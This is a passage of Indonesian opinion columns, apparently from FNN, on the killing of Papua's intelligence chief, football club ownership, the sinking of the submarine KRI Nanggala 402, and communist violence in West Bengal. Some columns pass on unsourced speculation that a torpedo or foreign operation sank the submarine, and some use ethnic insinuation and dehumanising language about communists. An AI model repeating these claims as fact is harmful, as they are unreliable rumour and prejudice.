utang Rp 2.350 miliar. KKB menyatakan akan membakar dan membunuh yang tersiar dan tersebar di youtube, seakan-akan publik ini dibuat penafsiran kalai KKB OPM itu berbahaya. Sejak istilah OPM di ganti dengan panggilan KKB, apakah dengan sendirinya cara-cara membunuh dan menyerang juga berubah? Ternyata sama sekali tidak. Jadi, OPM dan KKB itu dua hal yang berbeda di Papua. Kalau dilihat di dalam vidio ancaman yang tersiar di youtube ada seorang di sebelah dengan bentukan kaki bersih, licin seakan-akan bukan orang yang lama di hutan. Namun sepertinya itu adalah kaki dari prajurit yang lama ikut pendidikan khusus. Jadi kematian Kabinda Papua, perlu di tarik pada masalah bocornya operasi Rahasia Negara. Perlu adanya kebersihan pada tubuh Badan Intelijen Negara di jakarta. Sebab dalam hal laporan rahasia negara ke BIN, baik untuk perjalanan keluar dan di dalam negeri bisa di katakan sudah tidak aman lagi. Sehingga perlu adanya pemeriksaaan khusus dalam kasus kematian tersebut. Melihat pola serang KKB OPM dan pola kerja BIN sudah pasti dua hal yang berbeda jauh. Namun KKB yang berhasil membunuh Kabinda Papua adalah Keberhasilan dan kemangan OPM yang luar biasa, bila dilihat dari sisi perjuangan OPM. Kalau dilihat dari sisi strategi OPM, kejadian ini dianggap provesional. Tetapi OPM yang dimaksud sudah pasti KKB OPM yang mana? Kemungkinan bisa saja pelakunya adalah anggota TNI dan Polri yang membelot ke hutan. Dalam berita kontak senjata, apakah BIN daerah dilengkapi dengan senjata laras panjang atau pistol? Apakah Kabinda dikawal TNI dengan laras panjang atau bersama anggota BIN lapangan? Sebab kematian Kabinda Papua tidak bisa dianggap hal kontak senjata biasa. Banyak rekomemndasi BIN soal deportasi WNA akibat salah dalam jalankan tugas di Papua. Misalnya, ada WNA wanita yang menjadi pekerja sosial, dan memberikan obat kepada anggota OPM yang sakit dan lainnya telah dideportasi. Diduga sudah banyak rekomendasi yang bersifat rahasia dari BIN yang jebol dan bocor ke tangan OPM dan KKB. Untuk itu, berkaitan dengan dengan penyerangan yang berakibat kematian Kabinda Papua ini, sebaiknya Kepala diganti. Presiden Jokowi sebaiknya menunjuk Kepala BIN dari kesatuan yang di anggap lebih profesional di bidang intelijen. Bukan mantan polisi lalulintas. Sebab BIN itu adalah biji matanya negara. Hanya kepada Presiden sajalah mata itu melapor hal-hal yang urgensi. Kematian Kabinda Papua menambah deretan pertanyaan, apakah KKB itu murni OPM? Atau KKB itu bentukan dari organisasi yang terlatih? Bila KKB itu adalah murni KKB OPM, maka OPM dianggap telah menang, karena strategi dan data serta informasi negara bisa didapat mereka. Namun bila KKB itu bentukan organisasi terlatih, maka negara harus siap untuk menghadapi perang kepentingan pada setiap rahasia negara yang bocor. Untuk mencegah hal itu, negara secepatnya membentuk tim khusus untuk melakukan investigasi kasus kasus bocornya rahasia negara dan menyelidiki, apakah KKB bentukan organisaisi khusus yang terlatih atau KKB OPM yang murni? Penulis adalah Sekjen Lingkar Pulai Kei Nasional.

Puasa, Habibie dan Nanggala

By Daniel Mohammad Rosyid Surabaya, FNN - Suatu ketika pasca Perang Badar, Rasulullah mengatakan pada para sahabat bahwa ummat Islam akan menghadapi perang yang lebih besar dari Badar, yaitu perang melawan syahwat perut dan kelamin. Jika syahwat dibiarkan liar tak terkendali, manusia akan menjadi mesin perusak yang paling efektif. Shaum atau puasa adalah sebuah teknik untuk membangun kompetensi pengendalian syahwat itu. Jika teknologi adalah sistem kemampuan menciptakan nilai tambah, maka puasa dengan demikian adalah teknologi untuk menciptakan pertahanan dan keamanan. Puasa sebagai teknologi hankam kurang dimanfaatkan. Sekulerisme telah melihat pertahanan dan keamanan hanya soal perangkat keras dan alutsista belaka. Aspek-aspek manusia sebagai bagian terpenting dalam setiap teknologi sering kurang diperhatikan perkembangannya. Penting dicatat bahwa karena harga persenjataan tidak sepenuhnya mengikuti pasar, industri persenjataan yang menyimpan banyak rahasia pertahanan sangat rawan suap dan korupsi. Akibatnya, pengadaan alusista yang bernilai Triliunan Rupiah berpotensi menjadi instrumen manipulasi. Hanya mereka yang senang berpuasa yang tahan untuk tidak manipulatif. Salah satu aspek pembangunan manusia yang penting dalam pengembangan kemampuan hankam adalah penguasaan teknologinya. Ini lazim dilakukan melalui transfer teknologi, reverse engineering dan design serta riset. Proses alih teknologi ini memerlukan waktu yang cukup melalui progressive manufacturing strategy yang pernah diwujudkan oleh BJ. Habibie. Untuk menguasai teknologi hankam, para insinyur muda memerlukan manhours kesempatan merancang, membangun dan mengoperasikan teknologi hankam ini. Pikiran ini telah berhasil diimplementasikan dalam industri dirgantara (PT DI) dan maritim (PT. PAL). Sayang sekali, karena konflik kepentingan geopolitik global, warisan Habibie ini kurang memperoleh komitmen untuk diteruskan lagi dalam membangun kemandirian industri hankam. Puasa sebagai teknologi hankam dimulai dari pengendalian konsumsi, terutama konsumsi energi. Untuk negara kepulauan di bentang alam Nusantara seluas Eropa dibutuhkan alokasi energi yang lebih tepat sasaran dalam mendukung kemampuan maritim nasional. Saat ini terjadi misalokasi energi yang justru didominasi oleh angkutan darat. Kebijakan bias-darat semacam penghapusan PPNBM otomotif sebagian didorong oleh obsesi pertumbuhan sehingga menelantarkan sektor maritim sebagai instrumen pemerataan pembangunan. Kita akan semakin terperangkap ke jebakan moda tunggal darat. Kita berkeyakinan 53 ABK KRI 402 Nanggala sebagai prajurit-prajurit terbaik yang dipimpin Letkol Heri Oktavian telah gugur syahid _on eternal patrol_. Mereka memiliki mental, kecerdasan, kesamaptaan tubuh di atas rata-rata prajurit. Ini sebuah kehilangan yang tak ternilai. Semoga kita melalui puasa Ramadhan ini beroleh maghfiroh, lalu berubah bangkit melahirkan para Oktavian muda, dan Habibie muda, yang suka berpuasa yang siap mengawal samudra luas Nusantara. Rosyid College of Arts and Maritime studies, Gunung Anyar, Surabaya.

Antara Kaesang, Raffi, dan Nirwan Bakrie

Apakah mereka bisa seikhlas Nirwan Dermawan Bakrie, sosok yang sudah 40 tahun (sejak awal 1980) jatuh bangun di sepakbola? Tanpa ambisi politik, tidak ingin jadi Ketua Umum PSSI, jadi gubernur, bupati apalagi menteri. Oleh Rahmi Aries Nova Jakarta, FNN - FENOMENA baru terjadi di Liga 2. Kasta kedua dalam gelaran Liga Indonesia tiba-tiba diminati orang-orang kaya di negeri ini. Motifnya tentu masih jadi misteri, tapi tidak ada salahnya 'sajiannya' kita nikmati. Liga 2 yang sebelumnya hanya liga pelengkap, musim ini (kalau jadi bergulir), tampaknya bakal menggeliat. Hal tersebut berkat kehadiran pesohor Raffi Ahmad, putra bungsu Presiden Joko Widodo, Kaesang Pangarep, dan trah Thohir (kakak adik Garibaldi dan Erick, serta putra Erick, Aga). Kehadiran mereka akan membuat Liga 2 lebih bergengsi dan pasti lebih 'aman'. Siapa yang berani menghentikan 'mainan' anak presiden kan? Tak akan ada lagi pertandingan yang tidak boleh digelar. Izin dari kepolisian pasti bakal lancar tanpa hambatan. Soal motif, kepada media semua sih menjawabnya seragam. Terpanggil membenahi sepakbola, suka dan cinta sepakbola...bla...bla...bla. Soal rencana juga begitu (seragam), akan membangun stadion, membangun akademi sepakbola, membawa timnya lolos ke Liga 1 dan menyumbang pemain untuk tim nasional. Klise. Tapi di luar itu, baik Raffi, Kaesang, juga trah Thohir pasti punya motif tersembunyi. Bisa motif politik atau ekonomi atau gabungan keduanya. Sah-sah saja. Simak saja candaan Kaesang saat ditanya mengapa ia membeli 40 persen saham Persis Solo, alias jadi pemilik dengan share terbesar. "Kalau dijawabnya bercanda kenapa saya ambil Persis, mungkin saya ingin menjadi suksesor pak Ketum (Mochamad Iriawan)" canda Kaesang sambil tersenyum, seperti dikutip BolaSport.com. Yup, syarat jadi Ketua Umum PSSI memang harus berkecimpung di klub. Bisa jadi Kaesang tidak sedang bercanda (berkaca dari sang bapak), karena menjadi Ketua Umum PSSI sarat gengsi dan pijakan yang pas untuk melangkah lebih tinggi. Sebut saja dua mantan Ketua Umum PSSI yang kini menjadi Gubernur Sumatera Utara, Edy Rahmayadi dan La Nyalla Mahmud Mattalitti yang kini mentereng sebagai Ketua Dewan Perwakilan Daerah (DPD). Kaesang juga makin pede karena diback-up Erick yang mantan pemilik Klub Italia Inter Milan dan Menteri BUMN. Simbiosis mutualisme yang sempurna. Kabarnya, kolaborasi keluarga Jokowi dan Thohir menguasai tiga klub di Liga 1 dan Liga 2, yaitu Persis Solo, Dewa (eks Martapura FC) dan 'mungkin' Tim Bhayangkara Solo FC yang sekarang bermarkas di Stadion Manahan. Pada waktu yang hampir bersamaan Raffi, artis yang dekat dengan Jokowi, juga mengakuisisi Cilegon United hingga klub tersebut berganti nama menjadi RANS Cilegon FC. RANS adalah perusahaan milik Raffi yang utamanya bergerak di bidang content creator. RANS Entertainment yang didirikan Raffi bersama sang istri Nagita Slavina sejak 2015 memiliki lebih dari 20 juta subscriber di kanal YouTube mereka, menghasilkan lebih dari 2000 video dengan hampir 3 miliar viewer. Raffi mengaku bersama partnernya Rudy Salim, Presiden Direktur Prestige Motocars akan menggelontorkan Rp 300 miliar untuk 'membesarkan' klub milik mereka tersebut. Rans Entertainment dan Prestige Motorcars akan bekerjasama menciptakan arena olahraga berstandar internasional dengan lapangan FIFA Certified berlokasi di Pantai Indah Kapuk 2 Jakarta. Arena dengan luas 2,7 hektar tersebut rencananya akan menjadi pusat pelatihan berbagai cabang olahraga, bukan hanya sepakbola. Bagaimana kiprah dan komitmen mereka? Layak kita tunggu. Apakah mereka betul 'ikhlas' terjun ke dunia sepakbola yang penuh dinamika? Apakah mereka bisa seikhlas Nirwan Dermawan Bakrie, sosok yang sudah 40 tahun (sejak awal 1980) jatuh bangun di sepakbola? Tanpa ambisi politik, tidak ingin jadi Ketua Umum PSSI, jadi gubernur, bupati apalagi menteri. Tanpa hitungan materi untuk klub, tim nasional, Liga, dan bahkan PSSI. Angka Rp 300 miliar Raffi terbilang kecil kalau dibandingkan dengan yang dikeluarkan Nirwan Bakrie untuk sepakbola nasional. Pada 1991-1992 Nirwan membangun Stadion Lebak Bulus dengan biaya Rp 100 miliar dengan skema BOT (Built Operate Transfer) 30 tahun dengan Pemda DKI Jakarta. Tapi pada 2012 (baru 20 tahun) sudah dikembalikan kepada Pemda. Bukannya kecewa dan kapok, justru sebaliknya, Nirwan terus berbuat untuk sepakbola. Pada 2014 demi mendukung pengajuan proposal FIFA Goal Project, PSSI, yang saat itu dipimpin La Nyalla, ia beri hak pengelolaan atas lahan milik Keluarga Bakrie di Sawangan (eks traning center POR Pelita Jaya) seluas 14 hektar selama 20 tahun. Jadilah kawasan itu resmi sebagai National Youth Training Centre (NYTC). Atas dasar hak pengelolaan itulah, proposal FIFA Goal Project-nya PSSI disetujui FIFA. Kemudian, untuk pertama kalinya dalam sejarah 85 tahun PSSI berdiri, Indonesia akhirnya memperoleh bantuan FIFA Goal Project, berupa lapangan sintetis di NYTC Sawangan seperti yang saat ini terlihat di sana. Sebelumnya project Primavera, Baretti, juga Uruguay, juga dibiayai 100 persen oleh Nirwan. Ia pun sempat membeli Klub Vise di Belgia dan Brisbane Roar di Australia. Jatuh bangun yang paling dramatis mungkin terjadi justru saat Nirwan berstatus pemilik klub di Liga Indonesia (yang juga ia besarkan). Meski ia banyak menolong dan menyelamatkan klub-klub yang kolaps dan nyaris bubar, tapi klubnya sendiri, Pelita Jaya, justru tak terselamatkan. "Nggak ada masalah, ikhlas aja," katanya pada penulis dengan entengnya kala itu. Tapi, roda memang berputar, jatuh bersama Pelita kini Nirwan justru bangkit bersama Persija. "Alhamdulillah juara," kata Nirwan seusai Persija mengalahkan Persib 2-1 (agregat 4-1) di Final Leg 2 Piala Menpora, Minggu (25/4). Roda akan terus berputar, Persija, klub milik Nirwan saat ini, juga klub-klub milik Kaesang dan Raffi akan mengarungi kerasnya kompetisi di masa pandemi ini seusai lebaran nanti. Semua harus melewati ujian, karena sejatinya 'Sepakbola adalah Sekolah Kehidupan' (Joseph 'Sepp' Blatter, Presiden FIFA 1998-2015). ** Penulis, wartawan senior FNN.co.id.

Tragedi Nanggala 402: Takmir Masjid Lebih Visioner Soal Pertahanan Negara

By Asyari Usman Medan, FNN - Bukan bercanda dan bukan pula setengah hati. Pasti! Sebab, komunitas Masjid Jogokariyan (MJ), Yogyakarta, selalu serius ketika melakukan penggalangan dana yang selama ini hanya untuk tujuan kemanusiaan. Kemarin, badan kenaziran (takmir) masjid kembali memprakarsai pengumpulan dana. Tapi kali ini lain dari biasa. Bukan untuk kemanusiaan. Melainkan untuk membeli kapal selam (kasel) pengganti Nanggala 402 yang tenggelam di perairan selatan Bali. Membeli kapal selam? Apa iya bisa terkumpul dananya oleh MJ? Memangnya berapa harga kapal selam? Tidak terlalu besar. Untuk klas yang tenggelam itu hanya US$330 juta. Atau sekitar Rp4.7 triliun. Tak sampai 5 triliun. Mungkinkan jumlah ini terkumpul di Jogokariyan? Sangat mungkin jika kita simak pengalaman komunitas Jogokariyan selama ini. Modal utama mereka adalah sifat yang amanah dan transparan. Semua jemaah percaya mereka, begitu juga masyarakat umum. Penggalangan dana yang bakal menjadi peristiwa historis ini mereka mulai kemarin, Ahad (25 April 2021), 13 Ramadan 1442. Inisiatif MJ ini sangat sejalan dengan suasana emosional akar rumput. Rakyat, utamanya umat Islam, sangat prihatin dengan tragedi Nanggala. Kehilangan kasel ini berarti memperlemah pertahanan NKRI. “Indonesia adalah negara kelautan sehingga sudah semestinya armada laut harus dikuatkan,” kata Ustad Muhammad Jazir, ketua takmir MJ. Ia mengajak seluruh rakyat ikut membantu Angkatan Laut agar mampu menjaga kekayaan negara dan keutuhan wilayah Indonesia. Komunitas MJ tampaknya sangat serius ingin membantu pembelian kasel baru. Dan ini bisa bergulir menjadi gerakan nasional. Tapi, kalau ada yang memaknai penggalangan dana ini sebagai sindiran terhadap pemerintah, bisa juga. Semacam kritiklah, lebih-kurang. Konkretnya, rakyat melihat pemerintah mengabaikan aspek pertahanan negara. Alat-alat utama sistem persenjataan (alutsista) milik TNI jauh tertinggal dibandingkan para tetangga sesama ASEAN. Sudah banyak yang karatan. Dan tak cocok lagi dengan tantangan dan ancaman yang selalu naik level. Peremajaan memang mahal. Tetapi, kalau pemerintah sadar bahwa sistem persenjataan akan selalu dikaitkan dengan wibawa negara, maka pastilah para pemimpin yang punya harga diri akan mengutamakan alat-alat pertahanan. Duit 4.7 T untuk membeli satu kasel, masih terbilang tak seberapa dibandingkan jumlah korupsi para pejabat dan perampokan yang dilakukan oleh para taipan hitam. Ini semua hanya soal kecerdasan dan kevisioneran pemimpin. Ketua takmir Masjid Jogokariyan saja mampu berteori tentang pertahanan negara. Takmir yang visioner. Dan malah langsung berbuat lewat penggalangan dana Nanggala 402. Kita tunggu apa yang akan dilakukan Menhan Prabowo Subianto.[] (Penulis wartawan senior FNN.co.id)

Ada Serangan Torpedo Dibalik Tenggelamnya KRI Nanggala 402?

Rasulullaah Salallaahu Alaihi Wasallam bersabda, "siapa yang terbunuh di jalan Allah, dia syahid. Siapa yang mati (tanpa dibunuh) di jalan Allah dia syahid, siapa yang mati karena wabah penyakit Tha’un, dia syahid. Siapa yang mati karena sakit perut, dia syahid. Siapa yang mati karena tenggelam, dia syahid.” (HR. Muslim 1915). by Tarmidzi Yusuf Bandung FNN - Sejak ramai diberitakan kapal selam KRI Nanggala 402 “hilang”, penulis sudah punya firasat yang lain. Ada apa sebenarnya yang terjadi dengan KRI Nenggala? Apakah murni insiden kecelakaan atau kecelakaan yang by skenario? Sejak dinyatakan hilang, 21 April 2021 KRI Nanggala 402, dan isu kedatangan Warga Negara Asing (WNA) India ke Indonesia sebagai edisi lanjutan tipu-tipu politik dengan alasan covid-19. Kedua isu tersebut menjadi headline berita utama di berbagai media mainstream dan media sosial. Sejenak publik diistirahatkan dari perbincangan pengadilan politik terhadap Habib Rzieq Sihab (HRS) di Pengadilan Negeri Jakarta Timur. Ada juga kasus penistaan agama oleh Joseph Paul Zhang yang disebut-sebut diotaki oleh, meminjam istilah Prof. Daniel M Rosyid, kelompok sekuler kiri radikal. Belum lagi kasus pembantaian dan pembunuhan enam laskar anggota FPI di kilometer 50 tol Jakarta-Cikampek (Japek) telah mulai sepi. Jarang lagi diperbincangkan di berbagai media dan media sosial. Hingga hari ini pelakunya sudah ditetapkan. Namun belum ditangkap dan diadili. Konon adanya jendral bintang yang terlibat, sehingga semakin mumet kasus ini. Apalagi kasus mega korupsi seperti Jiwasraya, Asabri dan BPJS Ketenagakerjaan. Ada juga SP3 atas kasus korupsi Bantuan Likuiditas Bank Indonesia (BLBI) Syamsul Nursalim yang bernama asli Lim Tek Siong alias Lim Tjoen Ho. Semua skandal ini bakal menguap, dan divonis dengan hukuman yang sangat ringan. Maklum, bila menyangkut etnis tertentu, hukum jadi lembek. Kemarin sore di group WhatsApp, lanjut dengan japri. Penulis membaca analisis Ruslan Buton tentang tenggelamnya KRI Nanggala 402. Penulis tidak terkejut. Kenapa? Analisis tersebut sangat mungkin untuk terjadi, di tengah menguatnya kelompok sekuler kiri radikal akhir-akhir ini. Begini analisis Ruslan Buton, penulis kutip apa adanya. "Dari awal berita KRI Nanggala 402 hilang kontak, saya sempat beradu argumen dengan beberapa sahabat. bahwa sangat lucu bila kemudian kapal secanggih itu meskipun sudah uzur hilang kontak. Pesawat udara saja yang begitu cepat ketika ada trouble masih ada percakapan terakhir. Ini kapal laut yang kecepatannya tidak secepat pesawat udara, kok saat terjadi trouble posisi akhir di koordinat berapa tidak diketahui. Kemudian laporan kru kapal kepada komando juga tidak ada. Nah kita lupa, masih kata Ruslon Buton, kalau beberapa waktu lalu nelayan kita menemukan drone bawah laut di pulau selayar. Perkiraan saya malah sampai jauh kesana, bahwa KRI Nanggala 402 mendapat serangan torpedo atau rudal bawah laut. Ruslon Buton melanjutkan analisisnya. "Sekarang makin diperkuat dengan temuan serpihan-serpihan kapal. Artinya ada kemungkinan kapal rusak karena serangan”. Serangan torpedo atau masalah teknis? Benarkah ada serangan torpedo di tengah-tengah isu adanya operasi intelijen bawah air RRC terhadap Indonesia? Wallahua'lam Spekulasi ini diperkuat dengan kecurigaan terhadap RRC yang diam seribu bahasa. Saat negara lain bersimpati atas hilangnya KRI Nanggala 402, seperti Singapura, Malaysia, Australia, Korea Selatan, Turki, Jerman dan Amerika Serikat. Negara-negara tersebut ikut membantu dengan mengirim kapal dan pesawat untuk melakukan penyelamatan. Semoga analisis atau dugaan kita keliru. Namun bila benar, menurut Ruslan Buton, ini ancaman serius buat pertahanan kita. Ternyata pertahanan kita begitu sangat lemah dan rapuh. Kemungkinan sangat mudah untuk ditembus oleh pihak lawan. Menurutnya lagi, secara otomatis opini tentang hilangnya KRI Nanggala 402 ini, akan dibungkus secara rapi supaya tidak menjadi gejolak publik. Karena apa...? Bila ternyata ini terbukti karena serangan musuh, maka jelas genderang perang telah di tabuh. Siapa atau negara manakah musuh yang dimaksud. Silahkan analisis dan jawab sendiri. Sekali merdeka tetap merdeka. Kata Ruslon Buton mengakhiri wapri dengan penulis. Akhirnya kita berdoa, semoga seluruh kru KRI Nanggala 402 yang tewas tenggelam, apalagi di bulan Ramadhan sebagai mati syahid. Semoga Syurganya Allah Subhaanahu Wata’ala telah menanti mereka. Mereka kekal dan menikmati fasilitas di syurga. Penulis adalah Pegiat Da’wah dan Sosial.

Ini Contoh Kekejaman Partai Komunis Ketika Berkuasa

By Asyari Usman Medan, FNN - Seram, mencekam dan sangat mengerikan. Berikut ini contoh kalau partai komunis berkuasa. Sadis, brutal. Dan tidak ada yang berani membawa mereka ke pengadilan. Itu yang terjadi selama 30 tahun di negara bagian West Bengal (Benggala Barat) di India timur. Partai Komunis India-Maois (Communist Party of India-Maoist) disingkat CPI-M pada 1977 berhasil merebut kekuasaan di West Bengal yang berbatasan dengan Bangladesh itu. Menurut catatan majalah Swarajya, ada ribuan kali pembunuhan sadis yang dilakukan oleh CPI-M. Sebelum berkuasa pun mereka tunjukkan kesadisan. Begitu berkuasa, mereka jadikan kekejaman itu sebagai kultur institusional pemerintahan. Kalau ada kelompok yang coba-coba muncul beroposisi, selesai dalam sekejap. Dari sekian ribu pembunuhan oleh CPI-M yang tidak terdokumentasikan, ada 5 tindakan sadis yang tak akan pernah terlupakan. Inilah 5 peristiwa kejam yang sama sekali di luar akal sehat. 1. Pembunuhan di Sainbari (Maret 1970), sebelum CPI-M berkuasa. Ini awal mula pembunuhan yang menjadi instrumen politik CPI-M. Para kader partai membunuh dua tokoh Partai Kongres dari keluarga Sain. Begitu sadisnya pembunuhan ini, para pelaku memaksa ibu dari dua bersadara tsb untuk memakan nasi yang disirami dengan darah kedua anaknya yang dibunuh itu. Si Ibu langsung mengalami gangguan jiwa berat sampai dia meninggal 10 tahun kemudian. 2. Pembantaian Marichjhapi (Januari 1979). Pemerintah front kiri yang dipimpin Partai Jyoti Basu membiarkan para pengungsi Hindu dari Bangladesh kelaparan. Kemudian mereka menembak mati para pengungsi itu. Kam pengungsi dibakar. Kepada mereka ditembakkan gas air mata ketika para kader CPI-M dan polisi setempat harus membubarkan pengungsi tsb. Ada 60,000 orang warga Hindu Bangladesh yang melarikan diri ke kawasan Sunderban di Benggala Barat. Para pengungsi berusaha melarikan diri dengan perahu. Tapi, banyak yang akhirnya jatuh ke laut dan kemudian dimangsa buaya. Bayi, anak-anak, para lansia 70-80 tahun banyak yang tewas dalam pembantaian ini. Hingga sekarang tidak diketahui berapa jumlah yang dibunuh. Pembantaian ini dilakukan karena CPI-I memutuskan untuk mengusir para pengungsi itu. 3. Para biksu Ananda Marga yang dibakar hidup-hidup (April 1982). Ananda Marga adalah kelompok yang melepaskan diri dari ajaran Hindu yang dianggap eksploitatif seperti sistem kasta, tahyul, dll. Suatu hari, mereka berkumpul di pinggiran selatan kota Kolkata (Calcutta) untuk acara pendidikan. Tiba-tiba saja para kader CPI-M yang dipimpin langsung oleh para pejabat kota menyerbu dan membakar mereka hidup-hidup. CPI-M melakukan tindakan bidab dan sadis ini karena takut Ananda Marga akan muncul sebagai kekuatan besar yang bisa mengancam partai komunis. Sejumlah taksi yang membawa anggota Marga dicegat. Penumpang taksi disirami bensi dan dibakar langsung di tempat. Setidaknya 17 anggota Marga tewas dan banyak lainnya luka-luka parah. Tak satu pun pentolan CPI-M yang diproses hukum sampai hari ini. 4. Pembantaian Nanoor (Juli 2000). Para kader CPI-M dan pejabat setempat membunuh 11 buruh tani Muslim yang tak punya lahan. Ini dilakukan hanya gara-gara warga Muslim ini mendukung partai oposisi dan mempersoalkan batas tanah. Orang-orang yang menyaksikan pembunuhan itu pun ikut diserang oleh para anggota CPI-M. Para saksi pembantaian juga mau dihabisi dengan tujuan agar para pelaku tidak bisa dilacak dan pengadilan atas diri mereka tak bisa dilaksanakan. Setelah lima tahun berlalu, kasus pembunuhan sadis ini belum juga selesai. Sebanyak 79 kader Marxist CPI-M masih menunggu sidang. Kader CPI-M melakukan teror ala geng sepedamotor di kawasan Nanoor untuk membungkam kemunculan partai lain. Pola yang mereka lakukan adalah menggertak wanita, membakar gubuk mereka, memukuli atau membacok yang laki-laki. Mereka juga membakar gabah yang baru dipanen. Tak jarang penduduk harus mengungsi. 5. Pembantaian Nandigram (Maret 2007). Berawal ketika pemerintah CPI-M mencoba merampas tanah pertanian seluas 4 hektar untuk perusahaan asing di Nandigram, Kabupaten Purba Medinipur. Para petani membentuk persatuan untuk melawan merampasan tanah tsb. Mula-mula geng sepedamotor CPI-M menyerang. Mereka mambakar gubuk para petani. Setelah itu para kader komunis itu melepaskan tembakan beruntun yang menyebabkan 14 orang petani tewas. Jumlah sesungguhnya tidak akan pernah diketahui. Warga melihat tumpukan mayat para petani yang dibuang begitu saja. Pembunuhan sadis seperti yang diuraikan di atas dilakukan oleh CPI-M di mana saja mereka memegang pemerintahan. CPI-M melakukan pembunuhan kejam terhadap siapa pun yang berbicara atau bekerja untuk memperkuat India atau perjuangan nasionalis. Jadi, pengalaman India ini cukup bagi kita untuk melihat watak kaum komunis pada umumnya. Sekali lagi, mereka itu sadis dan tidak punya perikemanusiaan. Tidak punya hati sedikit pun. Binatang mungkin lebih manusiawi bari kaum komunis. Artinya, penyiksaan para jenderal di Lubang Buaya pada 1965 bukanlah hal yang luar biasa bagi PKI. Cukup mengherankan mengapa Hilmar Farid sangat “passionate” mempresentasikan PKI sebagai orang baik. Boleh juga ditanyakan langsung ke Hilmar mengapa dia sangat mencintai PKI.[] (Penulis wartawan senior FNN.co.id)

Nanggala Karam Gegara Medan Magnet?

By Mochamad Toha Surabaya, FNN - Info menarik datang dari Kepala Pusat Penerangan (Kapuspen) TNI, Mayjen Achmad Riad. Salah satu lokasi pencarian yang bakal dimaksimalkan yaitu titik ditemukannya kemagnetan kuat yang dideteksi KRI Rimau pada Kamis (22/4/2021). Operasi SAR diperkuat dengan KRI Rigel 933 merupakan kapal survei hydro oseanografi. Kapal ini memiliki kemampuan deteksi di bawah air. Kapal ini juga yang digunakan untuk beberapa operasi SAR yang lalu. Seperti saat kejadian jatuhnya pesawat Lion Air di Tanjung Karawang dan Sriwijaya Air di Kepulauan Seribu. KRI Rigel bisa membangun dan merencanakan kegiatan untuk (mencari) hasil yang kemarin dari KRI Rimau bahwa ada satu titik magnet yang cukup kuat tidak berubah. Itu akan dikejar, “Semoga jadi titik terang,” ujar Riad saat konferensi pers, Jumat (23/4/2021). Sebelumnya, pada Kamis (22/04), Kepala Staf TNI Angkatan Laut (KSAL) Laksamana Yudo Margono, menuturkan bahwa pihaknya mendeteksi kemagnetan tinggi di salah satu lokasi pencarian KRI Nanggala-402. “Tadi baru kita temukan saat Panglima (Panglima TNI Marsekal Hadi Tjahjanto) ke sana, ada kemagnetan yang tinggi di suatu titik di kedalaman 50-100 meter melayang,” ucapnya saat konferensi pers, Kamis. Kapal Selam KRI Nanggala-402 yang sedang melaksanakan latihan penembakan di perairan utara Bali mengalami hilang kontak, Rabu (21/4/2021) sekitar pukul 03.00 Wita. Kapal selam diperkirakan hilang di perairan sekitar 60 mil (sekitar 95 km) dari utara Pulau Bali. Melansir Tribunnews.com, Kamis (22 April 2021 10:49 WIB), Kelompok Ahli Kelautan dan Perikanan Gubernur Bali menyebut, perairan utara Bali memiliki kondisi laut yang dalam dan arus yang relatif kuat. Dan, memang perairan itu sudah ditetapkan menjadi tempat latihan perang khususnya kapal selam. Memang perairan utara Bali diperuntukkan latihan perang khususnya kapal selam karena laut Bali sampai ke Flores lautnya dalam atau disebut cekungan Bali Flores. Jadi, “Sangat baik untuk tempat latihan perang termasuk kapal selam, karena bagian Palung Bali Flores itu menyambung,” kata Sudiarta saat dihubungi Tribun Bali melalui sambungan telepon, Kamis (22/4/2021). Perairannya sangat curam dan dalam berbeda dengan laut Jawa, kedalamannya bisa mencapai 700-3.000 m perairannya semakin ke timur semakin dalam. Jika posisi 95 km utara Bali atau utara Gerokgak kedalaman berkisar 400 hingga 700 m. Sudiarta menjelaskan, secara umum arus di laut utara Bali relatif kuat karena mendapatkan pengaruh arus global bernama Arlindo atau Arus Laut Kepulauan Indonesia. Massa air dari pasifik masuk ke selat Makassar. Kemudian nanti mengalir ke Samudera Pasifik melalui selat Lombok, sebagian dari arus digerakkan ke barat dan ke timur. Jadi, memang daerah utara Bali Lombok itu terkenal dengan arus kuat sampai ke Celukan Bawang karena pengaruh arus global. Sudiarta menambahkan, berkaitan dengan kedalaman dan arus dinilai sudah memenuhi unsur dari segi keamanan laut untuk latihan perang dari Pulau Menjangan sampai Kubutambahan, Bali, dan ditetapkan latihan uji coba kapal selam dan sebagainya. Ia mensinyalir bahwa hilang kontak KRI Nanggala-402 bisa berkaitan dengan teknologi atau kendali kapal. Hal senada juga disampaikan oleh Ahli Kelautan dan Perikanan Universitas Udayana Bali, Prof Dr I Wayan Arthana, Bahwa kondisi perairan utara Bali sampai dengan selat Lombok memiliki kondisi laut yang dalam dan arus kuat karena menjadi alur laut aliran air dari Samudra Pasifik ke Samudra Indonesia sehingga arusnya sangat deras. Arus di Selat Lombok banyak dipelajari oleh dunia baik AS maupun Eropa terkait dengan fenomena iklim, dari dulu juga ada isu kondisinya cocok untuk kapal asing sembunyi di kedalaman 2-3 km karena teknologi dulu belum bisa mendeteksi kapal sedalam itu. Ia menjelaskan, kondisi laut Jawa dengan perairan Bali berbeda karena di laut Jawa banyak suplai lumpur selama bertahun-tahun dari sungai yang bermuara ke laut. Sehingga lautnya lebih landai, beda di perairan utara Bali yang relatif tidak ada sungai yang bermuara ke utara. Penyebab kapal yang dibangun tahun 1977 di HDW Jerman dan masuk jajaran TNI AL tahun 1981 ini, Prof Arthana menduga hilang kontak karena terkait masalah teknologi atau hilang kendali. “Dugaan teknologi atau masalah kendali, kapal selamnya ada masalah dalam hal kendali sampai ke kedalaman tertentu. Kemungkinan lainnya, kalau masih pakai teknologi lama kemungkinan teknologi belum match dengan posisi kedalaman kapal,” ujarnya. KRI Nanggala-402 ini diawaki sebanyak 53 orang terdiri dari 49 ABK, 1 komandan satuan, 3 personel arsenal, selaku komandan KRI Nanggala-402 an. Letkol laut (P) Heri Octavian yang sudah menjabat 1 tahun. Menurut Prof. Daniel M. Rosyid PhD, M.RINA, Guru Besar Fakultas Teknologi Kelautan ITS Surabaya, paling tidak ada dua penjelasan. Pertama, technical error karena sudah tua (umur 40 tahun padahal design service life-nya 20-25 tahun). Pada 2012 sudah diretrovit dan overhaul total di Korea Selatan. Mestinya overhaul total ini dilakukan setiap 5 tahun. Tampaknya karena beberapa sebab, ini tidak atau belum dilakukan. Hanya dilakukan partial overhaul. Naasnya, hari itu Nanggala-402 beroperasi melalui sebuah perairan yang rawan sekitar Selat Lombok. Ada arus laut yang sangat kuat dari Samudra Pasifik Utara ke Laut Selatan yang melewati Selat Makasar lalu Selat Lombok. Di selat Lombok dengan kedalaman 300 m dan lebar 35 km 